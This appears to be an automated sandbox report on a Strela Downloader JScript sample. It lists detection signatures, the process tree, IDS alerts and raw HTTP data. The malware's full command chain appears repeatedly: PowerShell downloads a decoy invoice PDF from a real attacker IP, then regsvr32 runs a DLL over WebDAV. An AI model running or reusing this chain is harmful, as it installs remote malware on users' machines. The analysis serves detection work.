Edit tour

Windows Analysis Report
22951172482589918451.js

Overview

General Information

Sample name:	22951172482589918451.js
Analysis ID:	1588654
MD5:	a25ddd93d0dd84cc66b403ba82ddc665
SHA1:	85b0bf09a93ef4fefb017ac6ee29eee70ed11a79
SHA256:	f206f4363f94d9de6820c92ea8c56c96b57590bf5082576b40eba730478b0507
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7844 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22951172482589918451.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7932 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7980 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8176 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 432 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2080 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1376,i,3274789144004917139,15356109860751723325,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5268 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7352 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1036 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7844	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7932, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7980, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7932, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7980, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22951172482589918451.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22951172482589918451.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22951172482589918451.js", ProcessId: 7844, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7352, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22951172482589918451.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7844, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, ProcessId: 7932, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22951172482589918451.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7844, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, ProcessId: 7932, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22951172482589918451.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7844, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, ProcessId: 7932, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22951172482589918451.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7844, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, ProcessId: 7932, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22951172482589918451.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7844, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, ProcessId: 7932, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22951172482589918451.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22951172482589918451.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22951172482589918451.js", ProcessId: 7844, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7932, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7980, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5268, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7352, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1036, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5268, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7352, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22951172482589918451.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7844, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll, ProcessId: 7932, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:43:27.019959+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:43:29.496230+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:43:27.019959+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 22951172482589918451.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 22951172482589918451.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49705 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:43:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

